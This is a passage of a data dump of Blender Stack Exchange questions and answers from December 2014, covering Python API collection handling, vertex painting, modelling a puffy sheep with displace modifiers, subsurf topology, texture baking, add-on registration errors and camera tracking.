  <row Id="19687" PostTypeId="2" ParentId="19686" CreationDate="2014-12-08T03:12:40.690" Score="6" Body="&lt;p&gt;As I was about to click the button to post this question, I realized maybe the &lt;code&gt;CollectionProperty&lt;/code&gt; class extends/has the same methods as a dictionary or list. Anyway, with a little trial and error I found that it does (sort of).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove a single element:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context.world.my_collection_prop.remove(2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To clear the whole collection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context.world.my_collection_prop.clear()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really don't understand how details like this get left out of the Blender API documentation.&lt;/p&gt;&#xA;" OwnerUserId="5281" LastActivityDate="2014-12-08T03:12:40.690" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19688" PostTypeId="1" AcceptedAnswerId="19729" CreationDate="2014-12-08T04:41:28.633" Score="2" ViewCount="26383" Body="&lt;p&gt;I am using Blender 2.69, (I am unable to upgrade at this time) and I am trying to color my model using the Vertex Paint mode, but it won't show up in the final render. I know that you have to enable something in the options pane to the left, but the option that all the guides talk about is not there. Am I in the wrong mode? Can someone help me with this? I also tried texture paint mode, but then I can't actually paint anything it seems. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="8389" LastEditorUserId="8389" LastEditDate="2014-12-08T21:35:32.267" LastActivityDate="2016-10-16T01:26:42.060" Title="Color not showing up and neither is the option" Tags="&lt;texture-painting&gt;&lt;vertex-colors&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19689" PostTypeId="2" ParentId="19651" CreationDate="2014-12-08T04:45:06.920" Score="1" Body="&lt;p&gt;Well, I puttered around in the python console and bashed this script together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for mesh in bpy.data.meshes:&#xA;    changed = 0&#xA;    usedverts = set()&#xA;    for face in mesh.polygons:&#xA;        for layer, texmap in enumerate(mesh.uv_textures):&#xA;            tex = texmap.data[face.index]&#xA;            if tex.image and tex.image.name == 'construction-facemelt.tga':&#xA;                for v in face.loop_indices:&#xA;                    if v not in usedverts:&#xA;                        uv = mesh.uv_layers[layer].data[v].uv&#xA;                        uv.y = uv.y / 2.0 + 0.5&#xA;                        changed += 1&#xA;                        usedverts.add(v)&#xA;&#xA;    if changed &amp;gt; 0:&#xA;        print(&quot;Updated&quot;, changed, &quot;UVs on&quot;, mesh.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I mostly put this together via console introspection and guesswork, so, there might be a lot of ways to do it better; I still barely understand the python blender api. But it works, and the bits to customize to make it work for another situation should be self-evident...&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-12-08T04:45:06.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19690" PostTypeId="1" AcceptedAnswerId="19693" CreationDate="2014-12-08T05:37:42.107" Score="19" ViewCount="4367" Body="&lt;p&gt;I want to create a mesh that looks like this sheep: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kI9q8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I go about achieving a look like this(I'm talking specifically about the puffy body of the sheep)? I tried using multiple spheres together and using a single sphere and sculpting it with the blob brush, but neither really got the look I wanted. I want it to look cartoon like in the picture, so I don't need realistic fur or anything like that. Any tips? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blob brush monstrosity: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VW1pk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8390" LastEditorUserId="599" LastEditDate="2014-12-08T07:00:07.600" LastActivityDate="2018-12-26T12:46:43.977" Title="How to create a puffy looking mesh?" Tags="&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="19691" PostTypeId="2" ParentId="19665" CreationDate="2014-12-08T06:19:11.583" Score="4" Body="&lt;p&gt;There are some small picky details you need to get right for your script to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your class &lt;code&gt;bl_idname&lt;/code&gt; should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_idname = &quot;mesh.addsubmarine&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the &lt;code&gt;mesh.&lt;/code&gt; prefix and the all lowercase in the name. This also needs to be copied to the name used in &lt;code&gt;menu_func&lt;/code&gt;. You could use &lt;code&gt;OBJECT_OT_addSubmarine.bl_idname&lt;/code&gt; in &lt;code&gt;menu_func&lt;/code&gt; so that it always matches your class setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;register&lt;/code&gt; and &lt;code&gt;unregister&lt;/code&gt; you need to register/unregister your operator class. Either with &lt;code&gt;bpy.utils.register_class(OBJECT_OT_addSubmarine)&lt;/code&gt; or &lt;code&gt;bpy.utils.register_module(__name__)&lt;/code&gt;. Jerryno may have confused you as he was highlighting the lines you need to add for the menu entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use of &lt;code&gt;bpy.types.INFO_MT_add&lt;/code&gt; is incorrect. This refers to the top menu which contains categories like mesh curve etc. You want to use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.INFO_MT_mesh_add.append(menu_func)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-08T06:19:11.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19692" PostTypeId="1" AcceptedAnswerId="19697" CreationDate="2014-12-08T06:56:36.080" Score="5" ViewCount="339" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gu64S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LVI8G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am finding that at certain spots in my mesh, when I've applied subsurf modifier, I get these weirdly sharpened / extended edges on some joins, but not on others. See the photos for what I mean. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried playing around with adding edges and loop cuts but that doesn't seem to fix the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's another example of this, may be a different problem, but this was seems to actually be making creases of some sort. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FykH0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file is here: &lt;a href=&quot;http://www.pasteall.org/blend/33247&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/33247&lt;/a&gt;&#xA;Any help much appreciated, Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8217" LastActivityDate="2015-11-22T23:10:26.847" Title="Weird joins coming up with subsurf" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19693" PostTypeId="2" ParentId="19690" CreationDate="2014-12-08T06:58:28.603" Score="25" Body="&lt;p&gt;Try using a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/deform/displace.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;displace modifier&lt;/a&gt; with a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/blender_render/textures/types/procedural/voronoi.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;procedural texture&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cube (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a subsurf modifier (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;5&lt;/kbd&gt;) (where &lt;kbd&gt;5&lt;/kbd&gt; refers to the number of viewport subdivisions.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a displace modifier, and click &lt;em&gt;New texture&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p7rKV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then click the &lt;em&gt;properties&lt;/em&gt; icon on the far right of the button to go to the texture settings for the new texture.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;type&lt;/em&gt; to &lt;em&gt;Voronoi&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldQTM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that using &lt;em&gt;Distance squared&lt;/em&gt; gives more rounded looking puffs, which might be what you want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Back in the modifiers panel, reduce the strength of the displace modifier to some negative value so that the puffs are convex instead of concave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TnXMH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optionally model the cube into a shape approximately how you want the wool to be, and add a second displace modifier for larger displacements (you can use &lt;em&gt;object&lt;/em&gt; coordinates and a scaled empty to make the texture larger):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Olpm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iTaxK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/5669/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=5669&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2018-12-26T12:46:43.977" LastActivityDate="2018-12-26T12:46:43.977" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19694" PostTypeId="2" ParentId="19690" CreationDate="2014-12-08T06:59:42.627" Score="4" Body="&lt;p&gt;You could start with an scaled UV sphere and a cylinder (removed the top part):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Naw0v.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dup the cylinder and rotate both parts at the eyes position:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WlUxZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Use a &lt;em&gt;Boolean modifier&lt;/em&gt; to intersect the UV-sphere with the cylinders.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AWKzi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Add an &lt;em&gt;Edge Split&lt;/em&gt; modifier to improve the contours of the eyes.&lt;/p&gt;&#xA;&lt;p&gt;Duplicate the shape and delete the faces (mesh) from the face (shape) area.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;em&gt;Sculpt Mode&lt;/em&gt; use the &lt;em&gt;Blob&lt;/em&gt; brush:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A0UOn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;After that you could add details and adjust the fur.&lt;/p&gt;&#xA;&lt;h3&gt;Result (with dyntopo enabled while sculpting):&lt;/h3&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UjT8p.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-08T20:04:32.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19695" PostTypeId="2" ParentId="19679" CreationDate="2014-12-08T07:02:40.813" Score="2" Body="&lt;p&gt;Sounds like the cloth modifier is disabled in the render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the camera icon is selected in &lt;em&gt;Properties  &gt; Physics&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dnbDy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-12-08T07:02:40.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19696" PostTypeId="1" CreationDate="2014-12-08T07:17:43.630" Score="1" ViewCount="5172" Body="&lt;p&gt;I have created several space ships using up to 7-8 single images to texture the objects. As I am a blender beginner I did not unwrap the models and create a texture from the unwrap; instead, I just unwrapped the models and used a lot of different images on their faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I want to use the model (I use it in Unity 3D) there are a lot of materials on the objects, one for each image I used. For mobile game performance I'd like to have one single image for each model, including all textures I used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to merge all used images (with their UV mapping still intact) to one big image which will be imported as one single material for the model in unity?&lt;/p&gt;&#xA;" OwnerUserId="8392" LastEditorUserId="3401" LastEditDate="2014-12-08T10:25:23.493" LastActivityDate="2014-12-08T10:25:23.493" Title="How can I merge several UV images into one UV image?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;image&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-08T13:21:07.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="19697" PostTypeId="2" ParentId="19692" CreationDate="2014-12-08T07:50:01.833" Score="7" Body="&lt;p&gt;The artifacts you are talking about are results of a bad topology of your mesh. The subdivision modifier is very sensitive to your edge, vertex and loops placement. The mesh should be ideally all square faces (no triangles or ngons) and have similarly sized polygons around creases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot on the internet about mesh topologies (examples etc.), search for &quot;mesh topology&quot; or &quot;mesh edge flow&quot;. Here are some tutorials from &lt;a href=&quot;https://vimeo.com/cgcookie/videos/search:topology/sort:date&quot; rel=&quot;nofollow noreferrer&quot;&gt;CGcookie&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your model you can start by removing ngons, having all quads, and spacing even edge-loops around your creases:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JFeHH.jpg&quot; alt=&quot;mesh topology&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="2217" LastEditDate="2015-11-22T23:10:26.847" LastActivityDate="2015-11-22T23:10:26.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19698" PostTypeId="2" ParentId="19696" CreationDate="2014-12-08T07:57:38.787" Score="0" Body="&lt;p&gt;General workflow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a new UV map&lt;/li&gt;&#xA;&lt;li&gt;Unwrap all of your model into one texture space&lt;/li&gt;&#xA;&lt;li&gt;Create a new texture (empty)&lt;/li&gt;&#xA;&lt;li&gt;Bake your materials into that texture&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you struggle post your .blend file and I'll have a look what needs to be done.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-08T07:57:38.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19699" PostTypeId="1" CreationDate="2014-12-08T08:02:03.400" Score="4" ViewCount="14618" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f7bmq.png&quot; alt=&quot;Blender help&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually my layers tab appears in the area of the red circle, but I did something that changed it. I would like to know how to get it back. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8180" LastActivityDate="2014-12-08T08:17:58.510" Title="Layers tab not showing" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-08T11:55:42.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="19700" PostTypeId="2" ParentId="19699" CreationDate="2014-12-08T08:17:58.510" Score="11" Body="&lt;p&gt;You pressed the &lt;kbd&gt;Numpad /&lt;/kbd&gt; key switching you into &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/Global_or_Local_View&quot; rel=&quot;noreferrer&quot;&gt;Local View&lt;/a&gt;. Scene layers and lock buttons do not show there. Press  &lt;kbd&gt;Numpad /&lt;/kbd&gt; again to go back into Global view&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-08T08:17:58.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19701" PostTypeId="1" AcceptedAnswerId="19708" CreationDate="2014-12-08T08:34:10.467" Score="5" ViewCount="1472" Body="&lt;p&gt;I have a barn on which I have nearly finished the texturing, but there are many untextured faces, which all need the same texture. There must be a quicker way than manually selecting each face. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image shows some of the untextured faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X9UET.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I'm not using materials.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-12-08T10:57:39.203" LastActivityDate="2014-12-08T12:53:58.157" Title="How to select all faces that have no texture?" Tags="&lt;texturing&gt;&lt;editing&gt;&lt;selection-tools&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19702" PostTypeId="2" ParentId="19681" CreationDate="2014-12-08T08:37:00.317" Score="11" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BvH85.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Pose mode make sure you are in &quot;Pose position&quot; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In rest position it will go to the objects original position and origin point &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also , Edit mode doesn't effect the animation / Pose , so when you go into edit mode , the armature will also go to the objects original position and origin point . Edit mode is only for moving vertices/faces/edges and bone origin placement&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2014-12-08T08:37:00.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19704" PostTypeId="2" ParentId="582" CreationDate="2014-12-08T09:02:35.003" Score="2" Body="&lt;p&gt;there is a very fast and easier way , Just set the start frame, then the end frame , and when you want to pause it , just change the end frame to the one currently rendering and then set the start frame to the last frame you render , and repeat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lAI7N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2014-12-08T09:02:35.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19705" PostTypeId="2" ParentId="19701" CreationDate="2014-12-08T09:15:28.827" Score="1" Body="&lt;p&gt;Sorry I only know a workflow when using materials and textures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all faces with &quot;A&quot;. Then select the material, then press deselect in the material panel. All faces that are not assigned with a material will stay sellected.&lt;/p&gt;&#xA;" OwnerUserId="8360" LastActivityDate="2014-12-08T09:15:28.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19706" PostTypeId="2" ParentId="19701" CreationDate="2014-12-08T10:07:12.950" Score="3" Body="&lt;p&gt;You can select all faces with the same material.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In mesh edit-mode, make sure you enable &lt;strong&gt;Face&lt;/strong&gt; selection.&lt;/li&gt;&#xA;&lt;li&gt;Select one of the untextured faces&lt;/li&gt;&#xA;&lt;li&gt;Open the menu item (Select -&gt; Select Similar -&gt; &lt;strong&gt;Material&lt;/strong&gt;) (or &lt;strong&gt;Image&lt;/strong&gt; if you're using TexFace images)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Shorthand: &lt;code&gt;Shift-G, m  (or i)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="55" LastEditDate="2014-12-08T12:53:58.157" LastActivityDate="2014-12-08T12:53:58.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19707" PostTypeId="1" CreationDate="2014-12-08T10:45:51.243" Score="0" ViewCount="134" Body="&lt;p&gt;I want to import some .obj file that I have made with MeshLab. The point cloud file was actually in .pcd format and I used pcl_pcd2ply tools from PCL to change it into PLY-Format. Then I import it into Meshlab and make the mesh out of it. I used the texture and texture color as the object color. At the end, I have some file in MTL, PNG(for texture color) and the OBJ-Formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I drag the OBJ file in Meshlab it shows the mesh with some color (before in point cloud just some random points). Then I tried to import the OBJ into Blender I could only see the mesh without the color. How can I solve this problem? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="8396" LastEditorUserId="599" LastEditDate="2014-12-08T11:00:44.327" LastActivityDate="2014-12-08T11:00:44.327" Title="Color from imported OBJ not displayed in Blender" Tags="&lt;texturing&gt;&lt;3d-view&gt;&lt;objects&gt;&lt;import&gt;&lt;point-clouds&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-08T13:20:18.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="19708" PostTypeId="2" ParentId="19701" CreationDate="2014-12-08T10:50:39.830" Score="4" Body="&lt;p&gt;Select one of the faces which doesn't have a face texture assigned and press &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;&gt; Image&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hvwna.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-12-08T10:50:39.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19709" PostTypeId="1" CreationDate="2014-12-08T11:32:51.020" Score="11" ViewCount="4820" Body="&lt;p&gt;How can face of cornice be extruded along a given profile 'P' ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used knife tool to cut the long profile at 45 degrees and the  assemble them together but process is long?&lt;img src=&quot;https://i.stack.imgur.com/vpS8S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8110" LastActivityDate="2014-12-08T20:25:41.417" Title="Extrude Along Path (Sharp Corners)?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19710" PostTypeId="2" ParentId="19665" CreationDate="2014-12-08T12:51:48.423" Score="0" Body="&lt;p&gt;Thanks, guys.I had to register again hence I lost my mail_password. so I can add the answer for now rather than comment. I have been testing the changes that sambler proposed.Now I get an error in the console&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traceback &gt;Most recent call last&gt;: &#xA;  File &quot;testsubmarine4.py&quot;, line54, in &#xA;  File &quot;testsubmarine4.py&quot;,line47, in register&#xA;  Name Errror:mame menu_func is not defined&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the code I used &lt;a href=&quot;http://pastebin.com/5izAYFwH&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/5izAYFwH&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried using &lt;code&gt;bpy.utils.register_class(OBJECT_OT_addSubmarine)&lt;/code&gt; to register unregister but I get the same error in console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Chris.I fixed that.I put menu item also in register. now I just get one in the console that is  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;line 43, in menu_item   NameError:&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I Also tried to write it either way as was suggested:     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.layout.operator(mesh.addsubmarine.bl_idname, text=&quot;yellowsubmarine&quot;, icon=&quot;PLUGIN&quot;)          &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I interpret well what I had to do, but still the same error in line 43.                                This is the error that I get in console.                            here is the last code I used trying to make the changes also in line 43  &lt;a href=&quot;http://pastebin.com/f9LSTUcd&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/f9LSTUcd&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8398" LastEditorUserId="241" LastEditDate="2016-07-02T17:57:12.247" LastActivityDate="2016-07-02T17:57:12.247" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19711" PostTypeId="1" AcceptedAnswerId="19714" CreationDate="2014-12-08T15:53:25.500" Score="2" ViewCount="1285" Body="&lt;p&gt;I want to add a world texture in Blender and choose its coordinate mapping to UV to create a particle system fade out effect when using an explosion modifier just as this dissolving tutorial does: &lt;a href=&quot;https://www.youtube.com/watch?v=gD8qlNdEt6E&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=gD8qlNdEt6E&lt;/a&gt;. But when I tried to do this, I cannot find such an option (no &quot;uv&quot; in the option list):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OKHUm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please tell me how I can do this? Appreciate for your kindly help~&lt;/p&gt;&#xA;" OwnerUserId="8402" LastEditorUserId="8402" LastEditDate="2014-12-08T16:15:27.323" LastActivityDate="2014-12-08T16:24:58.687" Title="Cannot find uv option in texture mapping in Blender 2.72" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19712" PostTypeId="2" ParentId="19638" CreationDate="2014-12-08T15:54:42.973" Score="7" Body="&lt;p&gt;As &lt;strong&gt;cegaton mentioned&lt;/strong&gt; your current solution does not represent 3d space, because you don't have enough trackers. You can try the following workflow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First &lt;strong&gt;enable object tracking&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HUKLT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Try to &lt;strong&gt;track the head&lt;/strong&gt; with 8-14 markers&lt;/li&gt;&#xA;&lt;li&gt;Increase the search area of the markers, if the footage is jumpy &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Solve your object track&lt;/strong&gt; with a value bellow 0.6&lt;/li&gt;&#xA;&lt;li&gt;Apply a &lt;strong&gt;camera solver constraint&lt;/strong&gt; to the scene camera without solving it, this  should show your object solution (calculated empties) in the viewport&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bNQmc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Align your new face geometry&lt;/strong&gt; to the empties (trackers) or use the trackers to pointcloud function to reconstruct the head  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply an &lt;strong&gt;object solver constraint&lt;/strong&gt; to the new geometry &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LO9z0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now your object hopefully should move properly with the empties.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" 